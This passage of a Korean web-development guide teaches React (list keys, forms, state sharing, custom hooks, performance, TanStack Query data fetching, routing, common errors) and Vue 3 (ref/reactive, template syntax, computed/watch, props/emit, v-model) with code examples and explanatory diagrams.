{items.map((it, i) => <Row key={i} item={it} />)}

{/* ✓ 그 데이터를 가리키는 고유 값 */}
{items.map((it) => <Row key={it.id} item={it} />)}
index 를 key 로 썼을 때 실제로 벌어지는 일

  [0] 사과  ← 체크함
  [1] 바나나
  [2] 포도

  '사과'를 지우면 →  [0] 바나나  [1] 포도
  리액트는 "0번은 그대로네" 라고 판단해
  ★ 사과에 있던 체크·입력값이 '바나나' 에 남습니다
key 를 일부러 바꾸는 기법 — <Form key={userId} /> 처럼 주면 userId 가 바뀔 때 컴포넌트를 통째로 새로 만듭니다. "props 바뀌면 state 초기화" 를 effect 없이 해결하는 정석입니다.
index 를 써도 되는 경우는 순서가 절대 안 바뀌고, 추가·삭제도 없고, 각 항목이 상태를 갖지 않을 때뿐입니다. 조건이 하나라도 흔들리면 쓰지 마세요.
key=index — "자리"로 대조한다 0: 사과 ☑ 1: 바나나 ☐ 사과 삭제 0: 바나나 ☑ "0번은 그대로네" → 체크가 바나나에 남는다 key=id — "신원"으로 대조한다 id:a7 사과 ☑ id:b3 바나나 ☐ b3 바나나 ☐ "a7 이 사라졌구나" → 상태도 함께 정리된다 key 는 리액트가 "이 행이 지난번의 어느 행인가"를 알아보는 유일한 단서입니다. 입력값 · 체크 · 포커스 · 애니메이션 — 행에 붙은 모든 상태가 key 대조 결과를 따라갑니다. Math.random() 을 key 로 쓰면 반대 사고 — 매번 "전부 새 행"으로 보고 상태를 전부 버립니다
key 는 스타일도 성능 팁도 아니라 "이 행의 상태를 어디로 옮길까"에 대한 답입니다.
REACT 08

폼 다루기

입력 하나하나를 state 로 두는 게 항상 정답은 아닙니다.

제어 컴포넌트

const [form, setForm] = useState({ email:"", pw:"" });

const onChange = (e) =>
  setForm((p) => ({ ...p, [e.target.name]: e.target.value }));

<input name="email" value={form.email} onChange={onChange} />
<input name="pw" type="password" value={form.pw} onChange={onChange} />

{/* 값에 따라 즉시 반응해야 할 때 좋습니다 (실시간 검증·미리보기) */}
value 를 주고 onChange 를 안 주면 입력이 안 되는 칸이 됩니다. 읽기 전용이면 readOnly, 초기값만 주려면 defaultValue.

비제어 · 폼 액션

{/* 글자마다 렌더하지 않아 큰 폼에 유리합니다 */}
function Login(){
  const ref = useRef(null);
  const submit = (e) => {
    e.preventDefault();
    const data = Object.fromEntries(new FormData(ref.current));
    login(data);
  };
  return (
    <form ref={ref} onSubmit={submit}>
      <input name="email" defaultValue="" />
      <button>로그인</button>
    </form>
  );
}

{/* React 19 — action 과 대기 상태 */}
function Save(){
  const [state, action, pending] = useActionState(saveAction, null);
  return (
    <form action={action}>
      <input name="title" />
      <button disabled={pending}>{pending ? "저장 중…" : "저장"}</button>
    </form>
  );
}

검증 — 브라우저 기본 기능부터 쓰세요

{/* JS 한 줄 없이 되는 것들 */}
<input name="email" type="email" required />
<input name="pw" minLength={8} required />
<input name="age" type="number" min={14} max={120} />
<input name="code" pattern="[A-Z]{3}-\d{4}" title="예: ABC-1234" />

{/* 제출 시점에 한 번에 검사 + 첫 오류로 포커스 */}
const submit = (e) => {
  e.preventDefault();
  const form = e.currentTarget;
  if (!form.checkValidity()) {
    form.reportValidity();          // 브라우저 말풍선 표시
    return;
  }
  save(Object.fromEntries(new FormData(form)));
};
커스텀 검증이 필요해진 뒤에 라이브러리로 — 실무 표준은 react-hook-form + zod 조합입니다. 스키마 하나로 타입과 검증을 동시에 얻습니다.

에러 표시 UX — 언제 보여 줄 것인가

// "만지기 전엔 조용히" — touched 패턴
const [email, setEmail] = useState("");
const [touched, setTouched] = useState(false);
const error = touched && !email.includes("@")
  ? "이메일 형식이 아닙니다" : null;

<input
  value={email}
  onChange={(e) => setEmail(e.target.value)}
  onBlur={() => setTouched(true)}        // ★ 떠날 때부터 검사
  aria-invalid={!!error}
/>
{error && <p role="alert" className="err">{error}</p>}
  • 입력 중에는 빨간 글씨를 띄우지 마세요 — 첫 글자부터 "틀렸다"고 혼내는 폼이 됩니다
  • 떠날 때(blur) 검사 → 고치는 동안은 즉시 통과로 바꿔 주기
  • 제출 실패 시 첫 오류 칸으로 포커스 이동
  • 서버 오류(중복 이메일 등)는 해당 칸 옆에 붙이세요 — 상단 배너만 있으면 못 찾습니다
REACT 09

상태 공유하기

전역 상태로 도망가기 전에 끌어올리기부터 검토하세요.

1단계 — 끌어올리기

// 두 자식이 같은 값을 봐야 하면 '공통 부모'로 올립니다
function Parent(){
  const [q, setQ] = useState("");
  return (
    <>
      <Search value={q} onChange={setQ} />
      <Result query={q} />
    </>
  );
}
props 를 3단계 넘게 내려보내야 할 때부터 Context 나 상태 라이브러리를 고민하세요. 그 전에는 끌어올리기가 가장 단순하고 빠릅니다.

2단계 — Context

const ThemeCtx = createContext(null);

function App(){
  const [theme, setTheme] = useState("dark");
  // ★ 매 렌더 새 객체를 넘기면 구독자가 전부 다시 그려집니다
  const value = useMemo(() => ({ theme, setTheme }), [theme]);
  return <ThemeCtx value={value}><Page /></ThemeCtx>;
}

function Btn(){
  const { theme, setTheme } = use(ThemeCtx);   // React 19
  return <button onClick={() => setTheme("light")}>{theme}</button>;
}
Context 는 "자주 바뀌는 값"에 약합니다. 값이 바뀌면 구독하는 모든 컴포넌트가 렌더됩니다 — 테마·로그인 정보처럼 드물게 바뀌는 것에 쓰고, 서버 데이터는 TanStack Query, 복잡한 클라이언트 상태는 Zustand 가 낫습니다.
"이 상태 어디에 두지?" — 왼쪽부터 순서대로 물으면 답이 나옵니다 서버에서 온 데이터인가? 아니오 한 컴포넌트만 쓰나? 아니오 근처 몇 개가 같이 쓰나? 아니오 앱 전체가 쓰고 자주 바뀌나? 예 예 예 예 아니오 TanStack Query state 로 복사 금지 useState 가장 흔한 정답 부모로 끌어올리기 라이브러리 불필요 Context 테마 · 로그인 · 언어 Zustand 장바구니 플레이어 초록 셋에서 끝나는 상태가 대부분입니다 — 오른쪽으로 갈수록 추적 비용이 커집니다
순서가 중요합니다 — ①②③으로 해결되는 상태를 전역에 넣는 것이 리액트 앱이 복잡해지는 첫 단추입니다.
REACT 10

커스텀 훅

반복되는 로직을 빼는 도구입니다. 화면을 빼는 게 아닙니다.

// 입력이 멈춘 뒤에만 값을 넘겨 준다 (검색창 필수)
function useDebounced(value, ms = 300){
  const [v, setV] = useState(value);
  useEffect(() => {
    const t = setTimeout(() => setV(value), ms);
    return () => clearTimeout(t);
  }, [value, ms]);
  return v;
}

// 로컬 저장소와 묶인 상태
function useLocal(key, init){
  const [v, setV] = useState(() => {
    try { return JSON.parse(localStorage.getItem(key)) ?? init; }
    catch { return init; }
  });
  useEffect(() => {
    try { localStorage.setItem(key, JSON.stringify(v)); } catch {}
  }, [key, v]);
  return [v, setV];
}

// 사용
const q = useDebounced(input, 400);
const [theme, setTheme] = useLocal("theme", "dark");
훅 규칙이유
이름은 use 로 시작린터가 규칙을 검사할 수 있게
조건·반복문 안에서 호출 ✗훅은 호출 순서로 값을 찾습니다. 순서가 바뀌면 값이 뒤섞입니다
최상위에서만이른 return 뒤에 훅을 두면 같은 문제가 생깁니다
eslint-plugin-react-hooks 를 반드시 켜세요. 의존성 배열 누락과 훅 순서 위반은 사람 눈으로 잡기 어렵습니다.

"로직만 뺀다"의 실제 의미

// 훅으로 빼기 전 — 화면과 로직이 한 덩어리
function UserPage({ id }){
  const [user, setUser] = useState(null);
  const [pending, setPending] = useState(true);
  const [error, setError] = useState(null);
  useEffect(() => { /* fetch + 취소 + 에러 처리 20줄 */ }, [id]);
  return …;
}

// 훅으로 뺀 뒤 — 화면은 화면만 남는다
function UserPage({ id }){
  const { user, pending, error } = useUser(id);
  if (pending) return <Skeleton />;
  if (error)   return <Alert msg={error} />;
  return <Profile user={user} />;
}
// useUser 는 UserPage · UserBadge · 어드민 화면이 공유

알아 두면 좋은 것

  • 훅은 상태를 공유하지 않습니다 — useLocal("theme") 을 두 컴포넌트가 부르면 각자 별개의 state 입니다. 공유하려면 Context·스토어와 결합해야 합니다
  • 반환 형태 관례 — 값 하나면 그대로, 값+setter 면 배열 ([v, setV]), 여러 필드면 객체 ({ data, error, refetch })
  • 직접 만들기 전에 검색 — 디바운스·로컬스토리지·미디어쿼리 등은 usehooks-ts 같은 검증된 모음이 이미 있습니다
테스트 관점의 보너스 — 로직이 훅으로 분리되면 renderHook 으로 화면 없이 로직만 테스트할 수 있습니다. "화면 반 로직 반" 컴포넌트는 어느 쪽도 테스트하기 어렵습니다.
REACT 11

성능 — 측정하고 나서

memo 세 형제는 공짜가 아닙니다. 비교 비용이 듭니다.

세 가지

// 1) 컴포넌트 — props 가 같으면 렌더 건너뜀
const Row = memo(function Row({ item, onPick }){ … });

// 2) 값 — 무거운 계산 결과를 재사용
const sorted = useMemo(
  () => items.slice().sort((a,b) => a.n - b.n), [items]
);

// 3) 함수 — 같은 함수를 유지 (memo 자식에 넘길 때만 의미)
const onPick = useCallback((id) => setSel(id), []);
memo 자식에 인라인 함수·객체를 넘기면 무의미합니다. 매 렌더 새로 만들어져 항상 "props 가 바뀌었다"고 판정됩니다 — useCallback·useMemo 와 짝으로 써야 효과가 납니다.

더 크게 이기는 방법

// 목록이 길면 → 보이는 것만 그린다
// @tanstack/react-virtual · react-window

// 코드 분할 — 첫 화면 번들 줄이기
const Chart = lazy(() => import("./Chart"));
<Suspense fallback={<Skeleton />}><Chart /></Suspense>

// 급하지 않은 갱신은 뒤로 미룬다
const [q, setQ] = useState("");
const deferred = useDeferredValue(q);   // 입력은 즉각, 목록은 살짝 늦게

// 상태를 '쓰는 곳 가까이' 내리면 렌더 범위가 줄어듭니다
React 19 컴파일러를 켜면 memo·useCallback 을 대부분 자동으로 넣어 줍니다. 신규 프로젝트라면 먼저 검토하세요 — 손으로 뿌린 최적화보다 정확하고 코드가 깨끗합니다.

"목록이 느려요" 실전 처방 순서

진단 (Profiler 에서)처방
입력할 때마다 1,000행 전부 렌더① 입력 state 를 검색창 컴포넌트로 내리고 결과만 부모로
행 하나 바꿨는데 전 행이 렌더② memo(Row) + 핸들러 useCallback — 반드시 짝으로
렌더 자체는 적은데 프레임 드랍③ 렌더 안 무거운 계산을 useMemo 로 — 정렬·필터·포맷
보이는 건 20행인데 3,000행 그림④ 가상 스크롤 (@tanstack/react-virtual)
타이핑 반응 자체가 굼뜸⑤ useDeferredValue 로 목록 갱신만 뒤로
순서를 지키세요 — ①이 해결하는 문제를 ②③으로 덮으면 코드만 복잡해집니다. 대부분의 "리액트 성능 문제"는 ①에서 끝납니다.
REACT 12

서버 데이터 가져오기

useEffect + fetch 를 직접 짜면 매번 같은 버그를 만듭니다.

직접 짜면 빠뜨리는 것결과
요청 취소빠르게 이동하면 옛 응답이 나중에 도착해 화면을 덮습니다
중복 요청 합치기같은 데이터를 여러 컴포넌트가 각각 부릅니다
캐시·재검증뒤로 가기만 해도 매번 로딩 화면
재시도·에러 구분네트워크 오류와 4xx 를 같이 처리하게 됩니다
// TanStack Query — 위 네 가지가 기본 제공됩니다
const { data, isPending, error } = useQuery({
  queryKey: ["user", id],
  queryFn: ({ signal }) =>
    fetch(`/api/user/${id}`, { signal }).then((r) => {
      if (!r.ok) throw new Error("실패");
      return r.json();
    }),
  staleTime: 60_000,          // 1분 동안은 새로 안 부름
});

// 저장 후 목록 갱신
const qc = useQueryClient();
const { mutate } = useMutation({
  mutationFn: save,
  onSuccess: () => qc.invalidateQueries({ queryKey: ["user"] }),
});
서버 데이터는 "상태"가 아니라 "캐시"입니다. useState 에 담아 두면 언제 다시 불러올지를 전부 직접 정해야 합니다 — 그 판단을 대신해 주는 것이 쿼리 라이브러리의 값어치입니다.

로딩과 에러를 선언으로 — Suspense · ErrorBoundary

// 컴포넌트마다 if (pending)… 을 반복하는 대신
// '경계'가 아래 전체를 대신 처리하게 합니다
<ErrorBoundary fallback={<RetryPage />}>
  <Suspense fallback={<Skeleton />}>
    <Profile />      {/* useSuspenseQuery 사용 */}
    <Orders />       {/* 준비 안 된 동안 Skeleton */}
  </Suspense>
</ErrorBoundary>

// 에러 바운더리는 클래스가 필요하므로 라이브러리를 씁니다
import { ErrorBoundary } from "react-error-boundary";

<ErrorBoundary
  FallbackComponent={({ error, resetErrorBoundary }) => (
    <div role="alert">
      <p>문제가 생겼습니다: {error.message}</p>
      <button onClick={resetErrorBoundary}>다시 시도</button>
    </div>
  )}
>

낙관적 갱신 — 클릭 즉시 반응하는 UI

// 좋아요를 누르면 서버 응답을 기다리지 않고
// 화면부터 바꾸고, 실패하면 되돌립니다
const { mutate } = useMutation({
  mutationFn: toggleLike,
  onMutate: async (id) => {
    await qc.cancelQueries({ queryKey: ["post", id] });
    const prev = qc.getQueryData(["post", id]);
    qc.setQueryData(["post", id],
      (p) => ({ ...p, liked: !p.liked }));   // ① 즉시 반영
    return { prev };
  },
  onError: (_e, id, ctx) =>
    qc.setQueryData(["post", id], ctx.prev), // ② 실패 시 롤백
  onSettled: (_d, _e, id) =>
    qc.invalidateQueries({ queryKey: ["post", id] }), // ③ 재검증
});
낙관적 갱신은 실패 롤백까지가 한 세트입니다. ①만 하고 ②를 빠뜨리면 "눌렀는데 새로고침하니 풀려 있는" 신뢰를 깎는 UI 가 됩니다.
REACT 13

라우팅과 서버 컴포넌트

2026년 실무의 기본값은 Next.js App Router 또는 Vite + React Router 입니다.

언제 무엇을

상황선택
검색 노출·공유 카드가 중요Next.js(SSR) · Remix
로그인 후 쓰는 사내 도구Vite + React Router (SPA 로 충분)
문서·블로그정적 생성 (Astro 도 좋은 선택)
// React Router — 데이터까지 라우터가 관리
const router = createBrowserRouter([
  { path:"/", element:<Layout />, children:[
    { index:true, element:<Home /> },
    { path:"user/:id", element:<User />, loader: userLoader },
  ]},
]);

서버 컴포넌트 감 잡기

// app/page.jsx — 기본이 '서버' 컴포넌트
export default async function Page(){
  const rows = await db.query("select …");   // ★ DB 를 직접
  return <List rows={rows} />;               // 번들에 안 들어감
}

// 상호작용이 필요한 부분만 클라이언트로 — ★ 별도 파일(app/Like.jsx)의 맨 첫 줄에
"use client";
import { useState } from "react";
export function Like({ id }){
  const [on, setOn] = useState(false);
  return <button onClick={() => setOn(!on)}>{on ? "♥" : "♡"}</button>;
}
서버 컴포넌트에는 훅·이벤트 핸들러를 쓸 수 없습니다. useState 가 필요한 순간이 "use client" 경계입니다 — 경계를 잎사귀 쪽으로 최대한 밀어야 번들이 작아집니다.
첫 화면이 나오기까지 — 점이 "보이는" 순간, 회색 막대는 "보이지만 안 눌리는" 구간 0 0.4 0.8 1.2 1.6 s CSR 사내 도구 JS 받고 실행 — 흰 화면 데이터 fetch 1.3 s 보임 = 눌림 SSR SEO 필수 서버 렌더 · HTML 하이드레이션 — 보이지만 안 눌림 0.4 s 보임 · 1.1 s 눌림 SSG 블로그 · 문서 하이드레이션 0.1 s 보임 · 0.7 s 눌림 (CDN) "보이는 것"과 "눌리는 것" 사이의 간격(하이드레이션)이 SSR 의 비용입니다 서버 컴포넌트는 그 간격을 줄이는 시도 — 이 가이드도 SSG 입니다 (값은 4G · 중급 폰 대략값)
방식 선택의 질문은 하나 — "로그인 전의 사용자(검색 엔진 포함)에게 이 화면이 보여야 하는가?" 예면 SSR/SSG, 아니면 CSR 로 충분합니다.
REACT 14

자주 하는 실수 모음

에러 메시지와 원인을 짝지어 외워 두면 빠릅니다.

증상 · 메시지원인
"Objects are not valid as a React child"객체를 그대로 렌더. {obj.name} 처럼 값을 꺼내세요
"Each child should have a unique key"map 에 key 누락
"Rendered fewer hooks than expected"조건문·이른 return 뒤에 훅 호출
"Too many re-renders"onClick={fn()} 처럼 렌더 중 호출. onClick={() => fn()}
입력이 안 됨value 만 주고 onChange 없음
"uncontrolled to controlled" 경고 (또는 그 반대)value 가 undefined 였다가 값이 생김(또는 반대). ?? "" 로 기본값을 주세요
화면에 0 이 찍힘{arr.length && …} → {arr.length > 0 && …}
state 를 바꿨는데 화면 그대로배열·객체를 직접 수정. 새 값으로 만들어 넘기세요
effect 가 무한 반복의존성에 매 렌더 새로 만들어지는 객체·함수가 들어감
개발에서만 두 번 실행StrictMode 의 의도된 동작. 정리 함수가 제대로 있는지 점검하라는 신호
디버깅 순서 — ① React DevTools 로 state·props 실제 값 확인 ② Profiler 로 무엇이 왜 렌더됐는지 ③ 그래도 모르면 컴포넌트를 반으로 잘라 어느 쪽에서 나는지 좁히세요.

프로젝트 뼈대 — 파일을 어디에 두나

src/
  components/       어디서나 쓰는 공용 (Button · Modal · Input)
  features/         ★ 기능 단위로 묶기 — 실무 표준
    cart/
      CartPage.tsx
      CartItem.tsx
      useCart.ts        기능 전용 훅
      cart.api.ts       기능 전용 API 호출
    auth/
      LoginPage.tsx  useAuth.ts  …
  hooks/            공용 훅 (useDebounced …)
  lib/              fetch 래퍼 · 포맷터 · 상수
  App.tsx  main.tsx  routes.tsx
"종류별"(components/hooks/api 전부 분리)이 아니라 "기능별"로 묶으세요. 장바구니를 고칠 때 폴더 하나만 열게 되고, 기능을 지울 때도 폴더째 지우면 끝입니다.

배우는 순서 — 로드맵

  • 1주차 — 01~04: 상태로 화면 만들기. 투두리스트를 라이브러리 없이
  • 2주차 — 05~08: 렌더 이해 + 폼. 투두에 필터·수정·검증 추가
  • 3주차 — 09~12: 상태 공유 + 서버 데이터. 공개 API 로 검색 화면 (TanStack Query + 디바운스 + 로딩·에러·빈 화면)
  • 4주차 — 13: 라우팅 얹어 여러 페이지 앱으로. 배포까지 (Vercel · Netlify 무료면 충분)
다음 단계 — 타입은 🔷 TypeScript 탭, API 서버를 직접 만들려면 🚂 Express · 🐈 NestJS, 배포·성능은 ⚡ 대규모 트래픽 탭이 이어집니다. Vue 가 궁금하면 옆 💚 Vue 3 탭과 개념이 1:1 로 대응됩니다.
VUE 3 · 반응형 데이터와 SFC

값을
바꾸면
화면이
따라온다

Vue 는 어떤 값이 어디에 쓰였는지 스스로 추적합니다. 그래서 "무엇이 바뀌었으니 다시 그려라"를 사람이 적을 필요가 없습니다. 이 탭은 반응성이 어떻게 작동하는지를 축으로 SFC · Composition API · Pinia 를 정리했습니다. 여기까지 마치면 컴포넌트로 화면을 나누고 상태를 안전하게 공유할 수 있습니다.

14SECTIONS
3Vue 버전
1파일 = 1 컴포넌트
ref반응성의 기본
VUE 01

Vue 가 하는 일

리액트와 목표는 같고 방법이 다릅니다.

가장 작은 예

<script setup>
import { ref } from "vue";
const count = ref(0);
</script>

<template>
  <button @click="count++">{{ count }}번</button>
</template>

<style scoped>
button{ padding: 8px 14px; }
</style>
세 덩어리가 한 파일에 있습니다 — 로직(script) · 화면(template) · 스타일(style). scoped 를 붙이면 그 컴포넌트에만 스타일이 적용됩니다.

리액트와의 차이

항목ReactVue
다시 그리는 단위컴포넌트 함수 전체 재실행바뀐 값이 쓰인 곳만
값 바꾸기setState(새 값)count.value++ (직접)
화면 문법JSX (JS 안에 마크업)템플릿 (HTML + 디렉티브)
최적화memo 등 수동(19부터 자동)추적으로 대체로 자동
Vue 는 "함수가 다시 실행되지 않습니다". <script setup> 은 한 번만 돕니다 — 리액트처럼 "렌더마다 새로 만들어지는 변수" 개념이 없어 useCallback 같은 장치도 필요 없습니다.
Vue 반응성 — 값마다 "누가 나를 읽었는지" 장부를 적어 둡니다 count ref(0) doubled computed 버튼 {{ count }} 합계 문구 {{ doubled }} 제목 {{ title }} count.value++ trigger — 화살표대로 화살표 = 첫 렌더 때 읽으면서 적은 장부(track) count 를 읽지 않아 다시 그리지 않음 리액트가 "함수를 다시 실행해 전체 설계도를 비교"한다면, Vue 는 장부를 보고 바뀐 곳으로 직행합니다 그래서 memo·useCallback 같은 수동 최적화가 기본적으로 필요 없습니다 — 대가는 .value 와 반응성 규칙(02번) 시작은 한 줄 — npm create vue@latest (라우터·Pinia 를 설치 중에 체크할 수 있습니다)
Vue 를 배운다는 것은 이 장부(의존 추적)가 언제 끊기는지를 배우는 것입니다 — 02번의 함정이 전부 그 이야기입니다.
VUE 02

ref 와 reactive

둘 중 ref 하나만 써도 됩니다. 그게 헷갈리지 않습니다.

기본

import { ref, reactive } from "vue";

const n = ref(0);                    // 아무 타입이나
const user = ref({ name: "현우" });

n.value++;                           // ★ JS 에서는 .value
user.value.name = "민수";
user.value = { name: "새 객체" };     // 통째 교체도 됨

const state = reactive({ n: 0 });    // 객체 전용
state.n++;                           // .value 없이

// 템플릿 안에서는 .value 를 안 붙입니다 (자동으로 풀림)
// {{ n }}  ← 이렇게

reactive 의 함정

const state = reactive({ n: 0 });

// ✗ 통째로 바꾸면 반응성이 끊깁니다
state = reactive({ n: 10 });        // 아예 불가 (const)
Object.assign(state, { n: 10 });    // ✓ 이렇게 해야 함

// ✗ 구조 분해하면 연결이 끊깁니다
let { n } = state;                  // 그냥 숫자 복사본
n++;                                // 화면 안 바뀜

// ✓ 꺼내 쓰려면
import { toRefs } from "vue";
const { n } = toRefs(state);        // n 은 ref 가 됨

// ✗ 원시값은 못 담습니다
const bad = reactive(0);            // 경고
권장 — ref 로 통일하세요. .value 를 붙이는 게 번거로워 보여도 "이건 반응형 값"이라는 표시가 되고, 위의 함정을 전부 피할 수 있습니다.
ref 는 "상자" — 감시는 상자 뚜껑(.value)에 붙어 있다 ref 상자 .value ← 여닫을 때마다 감지 상자째 전달 — 안전 함수 인자 · 컴포저블 반환 · props 값만 꺼내 복사 — 연결 끊김 const n = state.n · 구조 분해 복사본은 평범한 값일 뿐 "반응성이 끊겼다" = 어딘가에서 상자가 아니라 알맹이를 건넸다는 뜻입니다. 해결책은 언제나 같습니다 — 상자를 유지하거나(toRefs · storeToRefs), 상자를 새로 만들거나(computed). 템플릿에서 .value 를 안 쓰는 이유: 최상위 ref 는 템플릿 컴파일러가 자동으로 뚜껑을 열어 줍니다
Vue 디버깅의 절반은 이 질문입니다 — "지금 내 손에 있는 것이 상자인가, 꺼낸 값인가?"
VUE 03

템플릿 문법

HTML 에 속성 몇 개를 더한 형태입니다.

<template>
  <!-- 값 넣기 -->
  <p>{{ name }}님, {{ count * 2 }}개</p>

  <!-- 속성 바인딩 — : 는 v-bind: 의 줄임 -->
  <img :src="url" :alt="name">
  <button :disabled="loading">저장</button>

  <!-- 이벤트 — @ 는 v-on: 의 줄임 -->
  <button @click="save">저장</button>
  <button @click="count++">증가</button>
  <form @submit.prevent="onSubmit">…</form>   <!-- preventDefault 자동 -->
  <input @keyup.enter="search">

  <!-- 조건 -->
  <p v-if="err">에러</p>
  <p v-else-if="loading">불러오는 중</p>
  <p v-else>완료</p>
  <p v-show="open">자주 껐다 켜는 것</p>  <!-- display 만 토글 -->

  <!-- 반복 — key 필수 -->
  <li v-for="item in items" :key="item.id">{{ item.name }}</li>
  <li v-for="(v, i) in items" :key="v.id">{{ i }} · {{ v.name }}</li>

  <!-- 클래스 · 스타일 -->
  <div :class="{ on: isOn, big: size === 'l' }">…</div>
  <div :class="['card', theme]">…</div>
  <div :style="{ marginTop: gap + 'px' }">…</div>

  <!-- 양방향 -->
  <input v-model="q" placeholder="검색">
  <input v-model.number="age" type="number">
  <input v-model.trim="name">
</template>
헷갈리는 것구분
v-if vs v-showv-if 는 DOM 에서 제거(초기 비용 ↓), v-show 는 숨기기만(토글 비용 ↓)
v-if + v-for 같이쓰지 마세요. <template v-for> 안에 v-if 를 넣거나 미리 걸러 두세요
{{ }} 안식만 가능. if 문·선언은 안 됩니다
VUE 04

computed — 계산된 값

계산 결과를 따로 저장하지 마세요. computed 가 알아서 갱신합니다.

기본

import { ref, computed } from "vue";

const items = ref([{ price: 1000, n: 2 }]);

// 의존하는 값이 바뀔 때만 다시 계산 (그 외엔 캐시)
const total = computed(() =>
  items.value.reduce((s, v) => s + v.price * v.n, 0)
);

const isEmpty = computed(() => items.value.length === 0);

// 쓰기도 가능한 computed
const fullName = computed({
  get: () => `${first.value} ${last.value}`,
  set: (v) => { [first.value, last.value] = v.split(" "); },
});
메서드와의 차이 — 템플릿에서 {{ getTotal() }} 는 매 렌더 다시 계산하지만, computed 는 의존 값이 바뀔 때만 계산합니다.

watch — 값이 바뀔 때 무언가 하기

import { watch, watchEffect } from "vue";

// 특정 값 감시
watch(q, async (nv, ov) => {
  if (!nv) return;
  results.value = await search(nv);
});

// 여러 개 · 즉시 실행 · 깊은 감시
watch([a, b], ([na, nb]) => { … }, { immediate: true });
watch(obj, () => { … }, { deep: true });

// 쓰인 값을 자동으로 추적
watchEffect(() => {
  console.log(`${user.value.name} / ${count.value}`);
});

// 정리 — 요청 취소 등
watch(id, (nv, ov, onCleanup) => {
  const c = new AbortController();
  onCleanup(() => c.abort());
  fetch(`/api/${nv}`, { signal: c.signal });
});
계산으로 될 일에 watch 를 쓰지 마세요. watch(a, () => { b.value = a.value * 2 }) 는 computed 로 한 줄이면 되고 버그도 없습니다. watch 는 바깥 세계에 영향을 줄 때(요청·저장·로그) 씁니다.

실전 조합 — 검색 · 필터 · 페이징은 전부 computed

const rows    = ref([]);        // 원본 (서버에서 받음)
const q       = ref("");        // 검색어
const sortKey = ref("name");
const page    = ref(1);

// 파이프라인처럼 쌓습니다 — 원본은 절대 안 건드립니다
const filtered = computed(() =>
  rows.value.filter((r) => r.name.includes(q.value)));

const sorted = computed(() =>
  [...filtered.value].sort(              // ★ 복사 후 정렬
    (a, b) => String(a[sortKey.value])
      .localeCompare(String(b[sortKey.value]))));

const paged = computed(() =>
  sorted.value.slice((page.value - 1) * 20, page.value * 20));

const pageCount = computed(() =>
  Math.ceil(filtered.value.length / 20));
검색어를 지우면? 아무것도 안 해도 됩니다. 원본이 그대로니 filtered 가 전체로 돌아옵니다 — "필터 풀기" 코드가 존재하지 않는 것이 이 구조의 힘입니다.

computed 에서 하면 안 되는 것

// ✗ 부수 효과 — computed 는 '계산'만
const total = computed(() => {
  saveToServer(items.value);        // 절대 금지
  return items.value.length;
});

// ✗ 안에서 다른 상태 변경
const bad = computed(() => {
  page.value = 1;                   // 무한 루프의 씨앗
  return filtered.value;
});

// ✓ "검색어가 바뀌면 1페이지로" 는 watch 의 일
watch(q, () => { page.value = 1; });

// ✗ 정렬이 원본을 바꿈 — sort 는 제자리 연산!
const sorted = computed(() => rows.value.sort(…));  // 원본 오염
// ✓ [...rows.value].sort(…) 로 복사 후에
computed 는 "언제 몇 번 실행될지 보장이 없습니다." 그래서 실행 횟수에 의존하는 코드(카운트 증가·API 호출)를 넣으면 예측 불가능한 버그가 됩니다. 순수 계산만 두세요.
computed 는 기억하고, method 는 매번 다시 합니다 computed const sorted = computed(() => [...list.value].sort(…)) list 가 안 바뀌면 → 저장해 둔 값을 그대로 list 가 바뀌면 → 그때 한 번만 다시 계산 템플릿에서 세 번 써도 계산은 한 번입니다 method function sorted() { return [...list].sort(…) } 렌더될 때마다 실행됩니다 템플릿에서 세 번 쓰면 세 번 계산합니다 인자가 필요할 때는 이쪽밖에 없습니다 고르는 기준 기존 상태에서 파생되는 값 → computed 인자를 받아야 하거나 부수 효과가 있으면 → method computed 안에서 상태를 바꾸지 마세요 — 읽기 전용입니다 watch 와도 헷갈리기 쉽습니다 값을 만들어 내는 것이면 computed 값이 바뀔 때 무언가를 하는 것(요청·저장)이면 watch computed 로 될 일을 watch 로 쓰면 코드가 복잡해집니다
"어디에 쓸까"는 값을 만드는가, 일을 하는가로 갈립니다.
정렬이 몇 번 도나 — 렌더 10번 · list 변경 2번 · 템플릿에서 3곳 사용 0 10 20 30회 computed 3회 — 처음 1 + list 변경 2 method 30회 — 렌더 10 × 사용 3곳 computed 는 결과를 기억했다가 list 가 바뀔 때만 다시 계산합니다 — 세 곳에서 써도 한 번 인자가 필요하면 method, 기존 상태에서 파생되는 값이면 computed 값이 바뀔 때 요청·저장 같은 일을 하려면 watch — 값을 만드는 일은 computed
computed 는 기억해서 3번, method 는 매번 해서 30번 — "어디에 쓸까"는 값을 만드는가, 일을 하는가로 갈립니다.
VUE 05

props 와 emit

데이터는 아래로, 사건은 위로 흐릅니다.

자식

<script setup>
// 타입과 기본값
const props = defineProps({
  title: { type: String, required: true },
  tone:  { type: String, default: "info" },
  items: { type: Array, default: () => [] },   // ★ 함수로
});

const emit = defineEmits(["close", "pick"]);

function onPick(id){
  emit("pick", id);          // 부모에게 알림
}
</script>

<template>
  <h3>{{ title }}</h3>
  <button @click="emit('close')">닫기</button>
</template>
props 를 직접 바꾸면 경고가 납니다. 바꿔야 하면 emit 으로 부모에게 알리거나, 초기값으로만 쓸 거면 ref(props.x) 로 복사하세요.

부모 · TypeScript

<template>
  <Panel
    title="공지"
    :items="rows"
    @close="open = false"
    @pick="onPick"
  />
</template>
// TS 라면 타입으로 선언하는 편이 깔끔합니다
const props = withDefaults(defineProps<{
  title: string;
  tone?: "info" | "warn";
  items?: string[];
}>(), { tone: "info", items: () => [] });

const emit = defineEmits<{
  close: [];
  pick: [id: number];
}>();
단방향 흐름 — 값은 내려가고, 사건은 올라온다 부모 — 값의 주인 const open = ref(false) :open="open" props ↓ @close="open = false" emit ↑ 자식 Modal 받은 open 을 그대로 표시 닫기 버튼 클릭 emit('close') — 부탁만 한다 자식이 props 를 못 바꾸는 이유: 주인이 둘이면 진짜 값이 사라집니다 — v-model(06번)도 이 왕복의 줄임 표기입니다
자식은 값을 바꾸지 않고 "바꿔 달라고 올려보냅니다" — 이 규칙 하나가 컴포넌트 수십 개짜리 앱의 질서를 지킵니다.
VUE 06

v-model 직접 만들기

입력 컴포넌트를 만들면 부모가 v-model 로 쓸 수 있게 하세요.

<!-- 자식: MoneyInput.vue (Vue 3.4+) -->
<script setup>
const model = defineModel({ type: Number, default: 0 });
// 읽고 쓰면 부모의 값이 함께 바뀝니다
</script>

<template>
  <input
    :value="model"
    @input="model = Number($event.target.value)"
    inputmode="numeric"
  >
  <button @click="model = 0">비우기</button>
</template>
<!-- 부모 -->
<MoneyInput v-model="price" />

